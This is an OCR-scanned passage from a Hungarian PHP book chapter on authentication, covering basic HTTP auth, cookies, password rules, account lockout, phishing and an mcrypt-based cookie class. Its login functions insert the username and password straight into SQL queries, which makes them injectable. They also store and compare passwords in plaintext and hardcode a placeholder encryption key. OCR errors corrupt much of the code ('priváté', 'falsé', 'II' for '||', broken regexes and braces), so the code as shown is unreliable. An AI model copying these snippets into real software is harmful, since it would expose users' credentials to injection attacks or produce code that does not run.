könnyen kitalálhatok, valaki egyszerűen bekapcsolódhat a beszélgetésbe, ha megfelelő számokat használ. Erről az utolsó megjegyzésről ne feledkezzünk meg a későbbiekben.

Egyszerű hitelesítési sémák
A fejezetünkben felépített rendszer gyakorlatilag egy jegy alapú rendszernek felel meg. Gondoljunk csak a sífelvonó jegyére. Amikor megérkezünk a hegyhez, vásárolunk egy felvonójegyet, és feltűzzük a kabátunkra. Akárhová is megyünk, ez a jegy látható. Ha úgy próbálunk felszállni a felvonóra, hogy nincs jegyünk, vagy van, de lejárt, vagy érvénytelen, a kezelők visszaküldenek a bejárathoz, hogy vegyünk egy érvényes jegyet. A hamisításnak úgy próbálnak elébe menni, hogy nehezen másolható biztonsági elemeket építenek be. Mindenekelőtt szükségünk van arra, hogy ellenőrizzük a felhasználó kilétét. Ez a legtöbb esetben egy felhasználónevet és egy jelszót jelent. Ezeket aztán ellenőrizhetjük egy adatbázisban (esetleg egy LDAP kiszolgálón vagy más módszerrel). Az alábbi függvény egy MySQL adatbázis segítségével ellenőrzi a felhasználó adatait: function check_credentials($name, $password) $dbh = new DB_Mysql_Prod(); $cur = $dbh->execute(" SELECT userid
FROM

{

users
W ER H E username = ' $name' AND password = '$password'") ; $row = $cur->fetch_assoc() ;

13. fejezet • A felhasználók hitelesítése és a munkamenetek biztonsága

351

if($row) { $userid = $row['userid'];
}

else { throw new AuthException("user is not authorized") ;
}

return $userid;
}

Készíthetünk egy AuthException nevű burkoló osztályt az egyszerű kivételosztály köré, és ennek segítségével kezelhetjük a hitelesítéshez kapcsolódó hibákat. class AuthException extends Exception {} Az adatok ellenőrzése azonban még csak félsiker. Szükség van egy sémára a hitelesítés kezelésére is. Erre alapvetően három módszer áll rendelkezésünkre: az egyszerű HTTPhitelesítés, a lekérdezés karakterláncának csatolása, valamint a sütik használata.

Egyszerű HTTP-hitelesítés
Az egyszerű hitelesítés a HTTP-be beépítve áll rendelkezésünkre. Ha egy kiszolgáló hitelesítetlen kérelmet kap egy oldalhoz, a következő fejléccel válaszol: WWW-Authenticate: Basic realm="RealmFoo" A RealmFoo itt egy tetszőleges név, melyet a rendszer a védett névterülethez rendel. Az ügyfél egy base 64 kódolású felhasználónév-jelszó párral válaszol, hogy hitelesítse magát. Ez az egyszerű hitelesítés jeleníti meg azt a felhasználónév/jelszó ablakot, mellyel számos böngészőben, rengeteg webhelyen találkozhatunk. E hitelesítési módszer jelentősen vesztett népszerűségéből, mióta a böngészők szélesebb körben kezdték alkalmazni a sütiket. Az egyszerű hitelesítés legnagyobb előnye, hogy lévén HTTP szintű módszer, használható egy webhely összes fájljának védelmére, nemcsak a PHP programokéra. Ez a lehetőség különösen hasznos olyan webhelyeknél, melyek videókat, hangfájlokat, vagy képeket szolgáltatnak felhasználóik számára, hiszen így egyúttal e médiafájlok védelméről is gondoskodnak. Az egyszerű hitelesítésben szereplő felhasználónév és jelszó a PHP-ben a $_SERVER [ ' PHP_AUTH_USER' ] , illetve a $_SERVER [ ' PHP_AUTH_PW' ] alakban kerül a programhoz. Lássunk most példát egy hitelesítő függvényre, amely ezt az egyszerű módszert alkalmazza: function check_auth() { try { check_crederitials($_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW']); }

352

PHP fejlesztés felsőfokon

catch (AuthException $e) { header('WWW-Authenticate: Basic realm="RealmFoo"'); header('HTTP/1.0 401 Unauthorized'); exit; } }

A lekérdezési karakterlánc csatolása
Ebben a módszerben a felhasználó adatai minden kérelemnél bekerülnek a lekérdezési karakterláncba. Számos Java alapú munkamenet-burkoló működik így, és ezt a módszert a PHP munkamenetmodulja is támogatja. Jómagam ellene vagyok e módszer használatának - mindenekelőtt azért, mert hihetetlenül hosszú és ronda URL-eket eredményez. Egy munkamenethez rengeteg adat tartozhat, és 100 bájt csatolása egy egyébként csinos URL-hez egyszerűen sérti a szépérzékemet. Mindazonáltal ez nem csupán esztétikai gond. Számos keresőmotor nem képes dinamikus URL-ek tárolására (vagyis olyan URL-ekére, melyekben lekérdezési karakterlánc paraméterek szerepelnek), továbbá a hosszú URL-ek kivágása és beillesztése is nehéz feladat. Attól függően, milyen eszközt használunk erre, megtörhet a sor, így az URL továbbítása IMben (Instant Message) vagy elektronikus levélben gondokat okozhat. A második kifogásom e módszer ellen, hogy felmerülnek bizonyos biztonsági aggályok is, hiszen így a felhasználó munkamenetének paramétereit mások egyszerűen lemásolhatják. Nem kell más tenni, csak kivágni és beilleszteni egy URL-t, ami tartalmazza a munkamenet azonosítóját, így akár véletlenül is belegázolhatunk más munkájába. Nem is töltünk el több időt e módszer tárgyalásával, de jó, ha tudjuk, hogy az esetek többségében létezik nála biztonságosabb és elegánsabb megoldás.

Sütik használata
A Netscape 3.0 1996-os megjelenése óta a böngészők egyre nagyobb mértékben támogatják a sütik használatát. Lássuk most, mit is ért a Netscape süti (cookie) alatt: Ha a kiszolgáló egy HTTP objektumot küld egy ügyfélnek, ezzel együtt átadhat bizonyos állapotadatokat is, melyeket az ügyfél tárolhat. Az átadott állapotobjektumban megtalálható azon URL-ek tartománya is, ahol az állapot érvényes. Minden ezt követő HTTP kérelem, amely az e tartományba eső ügyfelektől származik, tartalmazza az állapotobjektum aktuális értékét, ami így visszakerül a kiszolgálóhoz. Ezt az állapotobjektumot hívjuk sütinek.

3. fejezet • A felhasználók hitelesítése és a munkamenetek biztonsága

353

A sütik hatalmas szolgálatot tesznek abban, hogy az állapotok fenntarthatók legyenek a kérelmek között. Alkalmazásuk nem korlátozódik a felhasználók egyszerű adataira és a hitelesítésre, hiszen bármilyen állapotjellemzők továbbíthatók bennük a kérelmek között, melyek megmaradnak akkor is, ha a böngészőt időközben lekapcsolják és újraindítják. A későbbiekben a sütik használatával kiépítünk egy hitelesítési rendszert. Igyekezetünket érthetővé teszi az is, hogy mára a sütik használata gyakorlatilag szabvánnyá vált a HTTP kérelmekkel végzett adatátadásban. Az alábbiakban felsoroljuk a sütik fontosabb előnyeit az egyszerű hitelesítéssel szemben. • Sokoldalúság - A sütik nagyszerű lehetőséget adnak arra, hogy tetszőleges adatokat átvigyünk a kérelmek között. Az egyszerű hitelesítés éppen egyszerűsége miatt nem képes erre. • Maradandóság - A sütiket beállíthatjuk úgy is, hogy a munkamenetek között megmaradjanak a felhasználó böngészőjében. Ezt számos webhely kihasználja, így a sütikben tárolt adatok alapján lehetővé teszi az automatikus bejelentkezést. Ez a módszer természetesen jár bizonyos biztonsági kockázatokkal, de sok webhely szívesen áldoz fel valamit a biztonságból a kényelem érdekében. Természetesen a felhasználók dönthetnek úgy is, hogy nem fogadnak sütiket - az pedig a mi dolgunk, hogy milyen mértékben gondolunk rájuk. • Esztétikusság - Az egyszerű hitelesítésnél a böngészőben egy kicsiny, egyszerű felhasználónév/jelszó ablak jelenik meg. Ez sok esetben nem illik bele a webhely összképébe. Saját hitelesítési eljárásokat használva nagyobb szabadságunk van a tervezésben. A süti alapú hitelesítés legnagyobb hátulütője, hogy nem ad egyszerű módszert a nem PHP oldalak védelmére. Ahhoz, hogy az Apache olvasni és értelmezni tudja a sütikben tárolt adatokat, szükség van egy e célra készült Apache modulra. Persze ha az egyszerű hitelesítés PHP megvalósításában bármilyen bonyolultabb eljárást alkalmazunk, gyakorlatilag ugyanoda jutunk. így végeredményben a sütik használata nem jelent túlzottan sok fölös munkát.

PHP nyelvű hitelesítéskezelők

A PHP 5-ben létezik egy apache_hooks nevezetű kísérleti SÁPI, amely lehetővé teszi, hogy teljes Apache modulokat készítsünk PHP nyelven. Segítségével olyan Apache-szintű hitelesítéskezelőt írhatunk, melyben saját hitelesítési módszerünket alkalmazhatjuk, nemcsak PHP oldalak esetében. Ha a modul stabil lesz, könnyen megvalósíthatunk vele bármilyen összetett hitelesítési módszert a webhely összes objektumára vonatkozóan.

354

PHP fejlesztés felsőfokon

Felhasználók bejegyzése
Mielőtt felhasználóink hitelesítésével kezdenénk foglalkozni, tudnunk kell, egyáltalán kikről is van szó. A felhasználónévre és a jelszóra mindenképpen szükség van, de emellett hasznos lehet, ha más adatokat is begyújtunk. Sokan főként a jó jelszó elkészítésére összpontosítanak (ami, ahogy a következőkben látni fogjuk, egy nehéz, de igen fontos feladat), és közben az egyedi azonosítók helyes kiválasztásával nem sokat törődnek. Saját tapasztalataim szerint webes alkalmazásokban az e-mail cím nagyszerű egyedi azonosítóként szolgál. A felhasználók többsége (eltekintve a számítógépőrültektől) egyetlen címet használ, és ehhez csak és kizárólag ő fér hozzá. Ennek eredményeképpen az e-mail cím tökéletes egyedi azonosítót ad. Ha a bejegyzéshez megköveteljük a visszajelzést (ami azt jelenti, hogy a felhasználónak küldünk egy e-mailt, amelyben megmondjuk, mit kell tennie a bejegyeztetés befejezéséhez), meggyőződhetünk róla, hogy a levélcím valóban létezik, és a bejegyzett felhasználóhoz tartozik. Az e-mail címek begyűjtése egyúttal lehetővé teszi a hatékony kapcsolattartást a felhasználókkal. Ha látogatóink hajlandóak leveleket fogadni tőlünk, rendszeresen tájékoztathatjuk őket, mi történt a webhelyünkön, és egy esetleges meghibásodás esetén könnyen küldhetünk számukra újonnan készített jelszavakat. Ezek a lehetőségek persze akkor használhatók ki igazán hatékonyan, ha a felhasználók és az e-mail címeik között egyértelmű kapcsolat áll fenn. A jelszavak védelme A felhasználók - ilyen az emberi természet - általában rossz jelszavakat választanak. Számos tanulmány kimutatta, hogy amennyiben semmilyen módon nem korlátozzák őket, a felhasználók olyan jelszavakat adnak meg, amik könnyedén kitalálhatok. A hitelesítési rendszerek ellen gyakran alkalmaznak úgynevezett szótártámadást (dictionary attack). Ilyenkor a kalóz rendelkezik egy nagy fájllal, melyben az általa lehetségesnek ítélt jelszavakat tárolja (például az angol nyelv szavainak minden lehetséges párosítását), és egy adott felhasználói azonosító esetén mindegyikükkel megkísérli a belépést. Ez a támadás természetesen nem hatékony véletlenszerű jelszavak esetén, de hihetetlenül sikeres olyan esetekben, amikor a rendszer lehetővé teszi, hogy a felhasználók maguk válasszák meg jelszavaikat. A sors iróniája, hogy a rendszer optimalizálása még könnyebbé teszi a szótártámadást. Egy korábbi munkám során megdöbbenéssel tapasztaltam, hogy egy kalóz egy ilyen támadás során több mint 100-szor volt képes próbálkozni egy másodpercen belül. Ilyen sebesség mellett egy teljes, 50 000 szavas szótárral 10 percen belül végez.

13. fejezet * A felhasználók hitelesítése és a munkamenetek biztonsága

355

A jelszavak elleni támadások kivédésére alapvetően két megoldás létezik, jóllehet egyik sem mondható bombabiztosnak: • • Készítsünk „jó" jelszavakat. Csökkentsük a szótártámadások hatékonyságát.

Milyenek is azok a „jó" jelszavak? Nos, jellemzőjük az, hogy nehezen kitalálhatok automatizált módszerekkel. Ilyen jelszavak készítésére alkalmas például az alábbi függvény: function random_password($length=8) { $str = for($i=0; $i<$length; $i++) { $str .= chr(rand(48,122)); } return $str; } Eredményként olyan jelszavakat kapunk, amelyek véletlenszerűen kiválasztott nyomtatható ASCII karakterekből állnak. Nagy hibájuk azonban, hogy igen nehéz megjegyezni őket. Ezzel rátapintottunk a véletlen jelszóelőállítók legnagyobb hibájára. A felhasználók egyszerűen nem szeretik őket. Ráadásul minél nehezebb egy ilyen jelszót megjegyezni, annál valószínűbb, hogy a felhasználó felírja egy cetlire, esetleg elhelyezi egy szövegfájlban vagy elektronikus levélben. Közkedvelt megoldás, hogy a jó jelszó készítését a felhasználóra bízzák, választását azonban néhány egyszerű szabállyal korlátozzák. Megengedhetjük felhasználónknak, hogy kiválassza saját jelszavát, de megkövetelhetjük, hogy ez a jelszó kiálljon néhány próbát. Az alábbi függvény ilyen ellenőrzési feladatokat valósít meg: function good_password($password) if (strlen($password) < 8) { return 0;
}

{

if (!preg_match(" Ad/ ", $password) ) return 0;
}

{

if(!preg_match("/[a-z]/ i " , return 0;
} }

$password))

{

Függvényünk megköveteli, hogy a jelszó legalább nyolc karakterből álljon, és mind betűket, mind számokat tartalmazzon.

356

PHP fejlesztés felsőfokon

A függvényt tovább is fejleszthetjük, és ellenőrizhetjük, hogy ha eltávolítottuk a számkaraktereket, a maradék nem egy szótárban szereplő szó, illetve a jelszó nem tartalmazza a felhasználó nevét vagy címét. Ez a módszer követi a tanácsadói szakma alapszabályát: Ha egy bonyolult problémával találkozunk, hárítsuk másra. Jó jelszót készíteni, mellyel a felhasználó is elégedett, igen nehéz feladat - sokkal egyszerűbb kiszűrni a rossz jelszavakat, meggátolva, hogy a felhasználók ilyeneket válasszanak. A következő feladatunk, hogy megakadályozzuk a szótártámadásokat a hitelesítési rendszerek ellen. Ha semmit nem teszünk e téren, a kalóz minden bizonnyal célt ér. Akármilyen szabályokat találunk is ki a rossz jelszavak kiszűrésére, a felhasználók által kedvelt jelszavak sajnos túl kevesen vannak. Az egyik megoldás, ha letiltjuk az azonosítót, amennyiben sok, egymást követő hibás bejelentkezést tapasztalunk. E módszer megvalósítása nem nehéz, mindössze a check_credentials függvényt kell átírnunk úgy, hogy meghatározott számú sikertelen kísérlet után zárolja az azonosítót: function check_credentials($name, $password) $dbh = new DB_Mysql_Prod () ; $cur = $dbh->execute(" SELECT userid, password FROM users {

WHERE username = '$name' AND failures < 3"); $row = $cur->fetch_assoc(); if($row) { if($password == $row['password']) { return $row['userid']; } else { $cur = $dbh->execute(" UPDATE users SET failures = failures + 1, last_failure = now() WHERE username = '$name'"); } } throw new AuthException("user is not authorized"); }

13. fejezet • A felhasználók hitelesítése és a munkamenetek biztonsága

357

E letiltást feloldhatjuk magunk, de elvégezhetjük egy cron feladatként is, amely minden olyan sornál, ami egy óránál régebbi, nullázza a sikertelen próbálkozások számát. A módszer legnagyobb hátulütője, hogy lehetővé teszi a kalózok számára, hogy szándékosan rossz jelszavakkal próbálkozva meggátolják a valódi felhasználó belépését. Részleges megoldásként meghatározhatjuk azon IP címeket, melyeknél valóban figyelnünk kell a sikertelen bejelentkezésekre. A belépési rendszer védelme örökös küzdelem, hiszen mindig akadnak biztonsági rések. Mindazonáltal fontos, hogy felmérjük, mennyi időt és erőforrást érdemes áldoznunk egy esetleges biztonsági rés betömésére. Az alkalmazott védelmi stratégia tetszőlegesen bonyolult lehet - elképzelhető olyan rendszer is, ami nem enged meg percenként háromnál, naponta pedig 20-nál több sikertelen belépési kísérletet.

Védelem az emberi tényező kihasználása ellen
Jóllehet ez nem igazán technikai témakör, mindenképpen szót kell ejtenünk az átveréses támadásokról. Ilyenkor a kalóz csalással jut adatokhoz a felhasználótól, gyakran egy megbízható személynek kiadva magát. A leggyakoribb példák erre az alábbiak: • A kalóz rendszergazdának állítja be magát, és elektronikus levélben kéri el a felhasználók adatait, „biztonsági okokra" hivatkozva. • A kalóz készít egy másolatot a webhely bejelentkezési lapjáról, és valahogy ráveszi a felhasználókat, hogy lépjenek be. • Az előző két módszer valamilyen kombinációja. Furának tűnik, hogy léteznek felhasználók, akiket ilyen módon be lehet csapni, de ez sokkal gyakrabban előfordul, mint gondolnánk. Ha a Google-lel rákeresünk az eBay-jel kapcsolatos csalásokra, rengeteg ilyen esetet találhatunk. Az ilyen átverések ellen igen nehéz védekezni - a gondot éppen az okozza, hogy ez nem technikai kérdés, sikerük azon múlik, hogy a felhasználó rossz döntéseket hozzon. A baj megelőzésére mindössze annyit tehetünk, hogy részletesen tájékoztatjuk a felhasználókat, hogyan és mikor lépünk majd kapcsolatba velük, továbbá, hogy kifejlesztünk bennük némi egészséges gyanakvást személyes adataik kiadásával szemben. Sok szerencsét, szükség lesz rá.

358

PHP fejlesztés felsőfokon

Az ördögi JavaScript

A következőkben számos olyan munkamenet-biztonsági módszerről esik majd szó, melyekben sütiket használunk. Fontos tudnunk, hogy sok ügyfél oldali parancsnyelv - mint a JavaScript - képes elérni a felhasználók sütijeit. Ha olyan webhelyét üzemeltetünk, amely lehetővé teszi a felhasználók számára, hogy JavaScript, illetve CSS kódokat helyezzenek a tartomány által szolgáltatott oldalakra (vagyis a tartomány hozzáférhet a sütikhez), a sütik egyszerűen el téríthetők. A JavaScript a közösségi webhelyek kalózainak álma, hiszen lehetővé teszi, hogy könnyen módosítsák az általunk az ügyfeleknek küldött adatokat. Ezt a támadási típust helyközi támadásnak (cross-site scripting) hívják. Ilyen esetben egy rosszindulatú felhasználó valamilyen ügyfél oldali megoldással (ez többnyire JavaScript, Flash vagy CSS kód) képes elérni, hogy nemkívánt kódot töltsünk le egy, a meglátogatni kívánttól eltérő webhelyről.

A hitelesítés fenntartása - hogyan győződjünk meg arról, hogy még mindig ugyanahhoz beszélünk?
Ha egy teljes webhely hitelesítési rendszerét sütik nélkül szeretnénk kiépíteni, nagyjából úgy járunk el, mintha edények nélkül kezdenénk főzni. Lehet, hogy valameddig eljutunk, de életünk sokkal nehezebbé válik, és rendkívül otromba lekérdezési karakterláncokkal kell bajlódnunk. Tudnunk kell, hogy manapság a sütik használatának engedélyezése nélkül igencsak nehéz navigálni a Weben. Gyakorlatilag napjaink minden böngészője, köztük a teljességgel szöveg alapúak is támogatják a sütiket. Az igazság az, hogy a sütik annyi előnyt biztosítanak, hogy a fejlesztők ezek kedvéért inkább lemondanak azokról a felhasználókról, akik elutasítják a sütik használatát. Az állapotok kérelmek közti megőrzésének tárgyalása nem lehet teljes anélkül, hogy szót ne ejtenénk a buktatókról. A következő néhány pontban olyan módszereket veszünk sorra, melyek annak ellenére, hogy széles körben elterjedtek, nem a kívánt eredményt adják.

A $_SERVER[REMOTE_IP] változatlanságának ellenőrzése
Sokan gondolják úgy, hogy ha valami, hát a felhasználó IP címe állandó marad a kapcsolt során. Nos, ebben tévednek. Sőt, hogy a dolog még érdekesebb legyen, kétféleképpen is tévedhetnek! Számos internetszolgáltató helyettes (proxy) kiszolgálókat használ arra, hogy átmenetileg tárolja a HTTP kérelmeket, a lehető legkevesebbre csökkentve az azonos objektumokra érkező kérelmek számát. így ha ketten ugyanahhoz az internetszolgál-

13. fejezet • A felhasználók hitelesítése és a munkamenetek biztonsága

359

tatóhoz tartozunk, és ugyanazt a f oo . jpg nevű állományt szeretnénk egy webhelyről letölteni, valójában csak az első kérelem lép ki a szolgáltató hálózatáról. Ezzel jelentős sávszélesség takarítható meg, a sávszélesség pedig pénzt jelent. Sok internetszolgáltató helyettes kiszolgálók fürtjeit alkalmazza annak érdekében, hogy nagyobb forgalmat bonyolíthasson le. A Világhálón böngészve az egymás után érkező kérelmek különböző helyetteseken haladhatnak át még akkor is, ha csak másodpercek választják el őket egymástól. A webkiszolgáló oldalán mindez azt jelenti, hogy ezek a kérelmek különböző IP címekről érkeznek, vagyis a felhasználó $_SERVER [REMOTE_IP] értéke minden további nélkül változhat egy munkameneten belül. Ezt a viselkedést könnyen megfigyelhetjük a nagy telefonos szolgáltatók esetében. A fenti gondok azonban eltörpülnek a másik fajta tévedési lehetőség mellett. Előfordulhat ugyanis, hogy több különböző felhasználó kérelme ugyanarról a helyettes kiszolgálóról érkezik, és így a $_SERVER[REMOTE_IP] értéke megegyező lesz az esetükben. Hasonlóképpen igaz ez azoknál a felhasználóknál is, akik ugyanarról a hálózati címfordítóról kapcsolódnak a hálózathoz (ami igen gyakran előfordul vállalati rendszerekben). A $ SERVER [USERAGENT] változatlanságának ellenőrzése A $_SERVER [USER_AGENT] egy karakterláncot ad, mellyel a böngésző a kérelemben azonosítja magát. Saját böngészőm esetében ez a karakterlánc így fest: M oz i l l a / 4 . 0 (compatible; MSIE 5.21; Mac_PowerPC)

ami, az Internet Explorer 5.2-es változatát jelenti Mac OS X rendszeren. Számos olyan eszmecsere során, ahol a PHP munkamenetek biztonságosabbá tételéről volt szó, felmerült az ötlet, hogy ellenőrizni kellene a $_SERVER [USER_AGENT] értékének változatlaságát a felhasználó egymást követő kérelmeiben. Sajnálatos módon azonban itt ugyanazzal a gonddal szembesülünk, mint a $_SERVER [REMOTE_IP] esetében. Sok internetszolgáltatók által készített helyettesfürt esetében előfordulhat, hogy különböző kérelmeknél végül más USER_AGENT karakterlánc átvitelére kerül sor. Titkosítatlan sütik használata Ha nem titkosított (kódolatlan) sütikben tároljuk a felhasználók adatait és a hitelesítési információikat, olyan, mintha egy kocsmában egy papírcetlire firkantott sorral igazolni lehetne a vendég életkorát. A sütik tartalmának kiolvasása és módosítása igen könnyű feladat, így nagyon fontos, hogy nehezen megfejthető alakban tároljuk bennük az adatokat. (Erről bővebben a fejezet későbbi részében szólunk.) A követendő módszerekről Az előbbiekben megtárgyaltuk, milyen módszereket ne használjunk a hitelesítésben most szóljunk az ajánlott lehetőségekről is.

360

PHP fejlesztés felsőfokon Titkosítás használata

A sütik minden olyan adatát, melyek kiolvasását vagy módosítását el szeretnénk kerülni, titkosítanunk kell. Mindig akadnak olyan programozók, akik saját titkosító algoritmusaikat alkalmazzák - hiába minden intő szó. Saját titkosító algoritmust alkalmazni olyan, mintha egymagunk szeretnénk összeállítani egy űrrakétát. Nem fog sikerülni. Időről időre bebizonyosodik, hogy a házilag összeállított titkosítási módszerek (még a nagy cégek fejlesztései is) nem nyújtanak elég biztonságot. Próbáljunk elébe menni a szinte biztos kudarcnak. Maradjunk a sokszor áttekintett, mindenki számára elérhető, jól bevált algoritmusoknál. Az mcrypt bővítmény segítségével számos jól bevált titkosító algoritmust érhetünk el. Mivel webkiszolgálónkhoz szükségünk van mind a kódoló, mind a visszafejtő kulcsokra (hogy írni és olvasni is tudjuk a sütiket), semmi értelme, hogy aszimmetrikus algoritmus mellett döntsünk. Példáink a blowfish algoritmust alkalmazzák, de könnyen áttérhetünk más módszerre is.
Az elavulás megvalósítása

A hitelesítés elavulásának megvalósítására két lehetőségünk van: a sütiket elavulttá tehetjük minden használat után, de időtartamhoz is köthetjük a lejáratot. Kérelmenkénti elavulás Ez a módszer gyakorlatilag úgy működik, mint a TCP. Minden felhasználónál megkezdünk egy számsorozatot, és az aktuális értéket tároljuk a sütiben. A következő kérelem kiadásánál a kapott sorozatszámot összehasonlítjuk az előzőleg küldöttel. Ha a kettő megegyezik, a kérelmet hitelesnek fogadjuk el. Ezután elkészítjük a következő sorozatszámot, és a folyamat újraindul. Ez a módszer megnehezíti, hogy kívülállók belepiszkáljanak a munkamenetbe, de ez továbbra sem lehetetlen feladat. Ha valaki elfogja a kiszolgáló által küldött választ, és nálunk korábban válaszol a sütivel, már el is térítette a munkamenetet. Mindez persze kissé furán hangzik, sajnos azonban minden biztonsági rés kihasználható valamire. Sajnálatos módon a biztonság és a jól használhatóság érdekei gyakran ellentétesek. Olyan kiszolgálót készíteni, melynek munkamenetei eltéríthetetlenek, szinte lehetetlen. Mindemellett meglehetősen sok erőforrást élhetünk fel azzal, ha minden kérelemnél elkészítjük egy sorozat kódolt elemét. Nem csak arról van itt szó, hogy minden kérelemnél el kell végeznünk a visszafejtést és az újrakódolást (ami egyébként szintén jelentős feladat), hanem minden felhasználó esetében tárolnunk kell az aktuális sorozatszámot. Többkiszolgálós környezetben ehhez egy adatbázisra van szükség, ami természetesen jelentős költségekkel járhat. Összegzésként annyit mondhatunk, hogy az általa nyújtott védelem mértékéhez képest ez az elavulási séma nem éri meg a fáradságot.

13. fejezet • A felhasználók hitelesítése és a munkamenetek biztonsága

361

Elavulás rögzített időtartam után E módszer alkalmazásánál a sütik néhány percenként elavulnak. Gondoljunk csak a sífelvonónál kapott jegy dátumot tartalmazó részére. Ennek segítségével a jegyet egész nap használhatjuk, s nem kell újra és újra kiváltanunk. Beleírhatjuk tehát a sütikbe készítésük idejét, és a későbbiekben ezt az adatot ellenőrizhetjük. Ez a módszer is nyújt némi védelmet az eltérítéssel szemben, mivel a sütiket készítésüket követően csak néhány percig használhatjuk. Mindemellett az alábbi előnyök is az ölünkbe hullanak: • Nincs szükség központosított ellenőrzésre - Ha a gépek órái összehangoltan működnek, a sütik ellenőrizhetők anélkül, hogy valamiféle központi irányításra volna szükség. • Nem kell túl gyakran sütiket készítenünk - Mivel a sütik egy meghatározott időtartamig érvényesek, nem kell minden kérelemnél újat készítenünk belőlük. Ez azt jelenti, hogy a kérelmek többségében megtakaríthatjuk a titkosítási munka felét.
Felhasználók azonosítása

Nem szabad megfeledkeznünk arról sem, hogy pontosan kinek a sütijét hitelesítjük. Legjobb, ha maradandó és egyértelmű azonosítókat használunk - nagyszerűen megfelel e célra, ha sorszámokkal látjuk el felhasználóinkat. Változatinformációk begyűjtése Egy apró, de annál fontosabb megjegyzés: mindenféle maradandó adat, amelyről azt gondoljuk, hogy ügyfeleink visszaküldhetik számunkra, kell, hogy tartalmazzon változatjelzőket. Ezek nélkül nem lehet úgy megváltoztatni a sütik formátumát, hogy szolgáltatásunk ne szakadna meg. Ilyenkor még a legkedvezőbb esetben is újra be kell léptetnünk az oldal összes látogatóját. Ha nincs ekkora szerencsénk, és mondjuk egyetlen gépen megmarad a süti régi változata, komoly és nehezen felkutatható hibákkal kell szembenéznünk. Ha nem tartjuk nyilván a változatinformációkat, kódunk meglehetősen ingataggá válhat. Kijelentkezés Ez a témakör nem kapcsolódik közvetlenül a sütikhez, mégis itt kell megemlítenünk. A felhasználónak meg kell adni a lehetőséget munkamenetének befejezésére. Erről semmiféleképpen nem szabad megfeledkeznünk, hiszen nagyban érinti a személyes adatbiztonságot. A kijelentkezést könnyen megvalósíthatjuk a munkamenet sütijének kiürítésével.

Hitelesítés a gyakorlatban - egy példa
Elég a sok elméletből - lássunk némi kódot is! Mindenekelőtt meg kell választanunk a süti formátumát. A korábbiakban leírtak alapján elegendő, ha megadjuk a változatszámot ($version), a készítés időpontját ($created), valamint a felhasználó azonosítóját ($userid):

362

PHP fejlesztés felsőfokon

<?php require_once 'Exception.inc'; class AuthException extends Exception {} class Cookie { priváté $created; priváté $userid; priváté $version; // mcrypt leírónk priváté $td; // az mcrypt adatai static $cypher = 'blowfish'; static $mode = 'cfb'; static $key = 'choose a better key' ; // adatok a süti formátumáról static $cookiename = 'USERAUTH'; static $myversion = ' 1' ; // a süti lejárati ideje static $expiration = '600'; // a süti frissítésének ideje static $warning = '300'; static $glue = 'I'; public function___ construct($userid = falsé) { $this->td = mcrypt_module_open ($cypher, '', $mode, ' ' ) ; if($userid) { $this->userid = $userid; return; } else { if(array_key_exists(self::$cookiename, $_COOKIE)) { $buffer = $this->_unpackage($_COOKIE[self::$cookiename] ) ; } else { throw new AuthException("No Cookie"); } } } public function set() { $cookie = $this->_package(); set_cookie(self::$cookiename, $cookie); } public function validate() { if(!$this->version II !$this->created II !$this->userid) { throw new AuthException("Malformed cookie"); }

13. fejezet • A felhasználók hitelesítése és a munkamenetek biztonsága

363

if ($this->version != self::$myversion) { throw new AuthException("Version mismatch"); } if (time() - $this->created > self::$expiration) { throw new AuthException("Cookie expired"); } else if ( time() - $this->created > self::$resettime) { $this->set(); } } public function logout() { set_cookie(self::$cookiename, "", 0); } priváté function _package() { $parts = array(self::$myversion, time(), $this->userid); $cookie = implode($glue, $parts); return $this->_encrypt($cookie); } priváté function _unpackage($cookie) { $buffer = $this->_decrypt($cookie); list($this->version, $this->created, $this->userid) = explode($glue, $buffer); if($this->version != self::$myversion II !$this->created II !$this->userid) { throw new AuthException(); } } priváté function _encrypt($plaintext) { $iv = mcrypt_create_iv (mcrypt_enc_get_iv__size ($td), MCRYPT_RAND); mcrypt_generic_init ($this->td, $this->key, $iv); $crypttext = mcrypt_generic ($this->td, $plaintext) ; mcrypt_generic_deinit ($this->td); return $iv.$crypttext; } priváté function _decrypt($crypttext) { $ivsize = mcrypt_get_iv_size($this->td); $iv = substr($crypttext, 0, $ivsize); $crypttext = substr($crypttext, $ivsize); mcrypt_generic_init ($this->td, $this->key, $iv); $plaintext = mdecrypt_generic ($this->td, $crypttext); mcrypt_generic_deinit ($this->td); return $plaintext; } priváté function _reissue() { $this->created = time(); } } ?>

364

PHP fejlesztés felsőfokon

Nos, ez egy meglehetősen bonyolult osztály, így hát kezdjük elemzését a nyilvános felülettel. Amennyiben a konstruktornak nem adunk át felhasználóazonosítót, feltételezi, hogy a környezetből szeretnénk olvasni, így megkísérli kiolvasni és feldolgozni a $_COOKIE változóban található sutit. A süti tárolására a $cookiename szolgál (ami ez esetben a USERAUTH). Ha bármi gondunk akad a süti elérésével vagy visszafejtésével, a konstruktőr egy AuthException kivételt vált ki. Ez egyébként egy egyszerű burkoló az általános Exception osztály körül: class AuthException extends Exception {} A hitelesítés bármiféle hibájának kezelését a kivételekre hagyhatjuk. Ha példányosítunk egy sutit a környezetből, érdemes meghívnunk a validate () tagfüggvényt. Ez ellenőrzi a süti szerkezetét, továbbá megvizsgálja, hogy változatszáma helyes-e, valamint, hogy a süti elavult-e. (Elavult akkor lehet, ha készítésének időpontja legalább $expiration másodperccel korábbi.) A validate () elvégzi a süti frissítését is, ha már közel áll az elavuláshoz (vagyis ha készítése legalább $warning másodperccel korábbi). Ha egy sutit egy felhasználóazonosítóval példányosítunk, az osztály feltételezi, hogy egy vadonatúj Cookie objektumot készítünk, így nincs szükség az érvényesítésre. A set nyilvános tagfüggvény összeállítja, titkosítja és beállítja a sutit. Erre azért van szükségünk, hogy kezdetben is képesek legyünk sütiket létrehozni. Figyeljük meg, hogy itt nem állítunk be lejárati időt: set_cookie(self::$cookiename, $cookie) ;

